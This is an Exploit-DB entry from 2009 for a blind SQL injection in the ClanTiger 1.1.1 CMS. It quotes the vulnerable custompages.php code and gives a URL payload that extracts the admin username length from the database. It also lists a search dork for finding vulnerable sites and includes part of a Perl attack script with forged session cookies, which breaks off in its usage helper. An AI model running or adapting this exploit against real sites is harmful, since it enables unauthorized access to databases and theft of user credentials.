Exploit-DB #8473
Description: ClanTiger 1.1.1 - 'slug' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-04-17
Author: YEnH4ckEr

Exploit:
#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**	       										      **
#**  											      **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	 []   []      **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**							                                      **
#**    											      **
#**                          Â¡VIVA SPAIN!...Â¡GANAREMOS EL MUNDIAL!...o.O                      **
#**					  Â¡PROUD TO BE SPANISH!	                              **
#**											      **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|       	   	     (custompage.php) BLIND SQL INJECTION		              |
#|--------------------------------------------------------------------------------------------|
#|                         	     | CLAN TIGER CMS |		 			      |
#|  CMS INFORMATION:		      ----------------					      |
#|										              |
#|-->WEB: http://www.clantiger.com				   		              |
#|-->DOWNLOAD: http://www.clantiger.com/download-clan-cms 	   		              |
#|-->DEMO: http://www.demo.clantiger.com/						      |
#|-->CATEGORY: CMS / Portals								      |
#|-->DESCRIPTION: ClanTiger is a content management system specifically designed for gaiming  |
#| 		clans...								      |
#|											      |
#|  CMS VULNERABILITY:									      |
#|											      |
#|-->TESTED ON: firefox 2.0.0.20 and IE 7.0.5730 (Default)				      |
#|-->DORK: "Powered by ClanTiger"							      |
#|-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT					      |
#|-->AFFECT VERSION: LAST = 1.1.1 (1.1 too)						      |
#|-->Discovered Bug date: 2009-04-12							      |
#|-->Reported Bug date: 2009-04-12							      |
#|-->Fixed bug date: Not fixed								      |
#|-->Info patch (????): Not fixed							      |   
#|-->Author: YEnH4ckEr									      |
#|-->mail: y3nh4ck3r[at]gmail[dot]com							      |
#|-->WEB/BLOG: N/A									      |
#|-->COMMENT: A mi novia Marijose...hermano,cuÃ±ada, padres (y amigos xD) por su apoyo.        |
#----------------------------------------------------------------------------------------------
#
#-----------
#BUG FILE:
#-----------
#
#Path --> [HOME_PATH]/modules/custompages.php
#
#It contents:
#
#	function main()
#	{
#		
#		...
#
#		$page = new CustomPage();
#		$page->slug = $_GET['slug'];
#		$page->getBy(array('slug'));
#		
#		if(!$page->id)
#		{
#			throw new cccException('The page you are looking for is currently 			unavailable. You may need to STOP! Hammertime. If School Is Out, You 			should try reloading this page.','Page not found');
#		}
#		
#		$tpl->define('title',$page->title);
#		$tpl->define('content',$page->content); // we allow HTML here, no safeoutput
#		
#		$this->pageDetails->setTitle($page->title);
#		$this->pageDetails->addKeyword($page->keywords);
#		$this->pageDetails->setDescription($page->description);
#		
#		$this->content = $tpl->publish();
#		$this->display();
#	}
#
#------------
#CONDITIONS:
#------------
#
#**DB_PREFIX="" (Default) 
#
#	maybe: db, db_clan, ...
#
#**Exist a custompage
#
#**gpc_magic_quotes=off
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#[HOME_PATH]/modules/custompages.php?slug=the_custom_page' [BLIND SQL INJECTION]
#
#---------
#EXAMPLE:
#---------
#
#[HOME_PATH]/modules/custompages.php?slug=the_custom_page'%20AND%20((SELECT%20length(username)%20from%20members%20WHERE%20id=1)=5)%20/*
#
#Result: admin's username has 5 characters (maybe = admin? :P)
#
#*******************************************************************
# ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!
#*******************************************************************
#-------------------------------------------------------------------
#*******************************************************************
# GREETZ TO: JosS and all spanish Hack3Rs community!
#*******************************************************************
#
#-------------------EOF---------------------------------->>>ENJOY IT!
#
use LWP::UserAgent;
use HTML::TreeBuilder 2.96;
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}		
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title Clan Tiger CMS (module custompages.php) BLIND SQL Injection Exploit");
		system ("color 02");
	}
}
sub request {
	my $cookie="CCC_LANG=en;"." CCC_UID=".$_[0]."; CCC_CODE=".$_[1].";";
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	my $request = HTTP::Request -> new(GET => $_[2]);
	$request->header(cookie => $cookie);
	my $outcode= $userag->request($request)->as_string;
	return $outcode;
}
sub helper {
	print "\n\t[**] Clan Tiger CMS - BLIND SQL Injection Exploit\n";
	print "\t[??] USAGE MODE: [??]\n";
	print "\t[**] perl $0 [HOST] [PATH] [uid] [code] [slug] [id] [DB_PREFIX]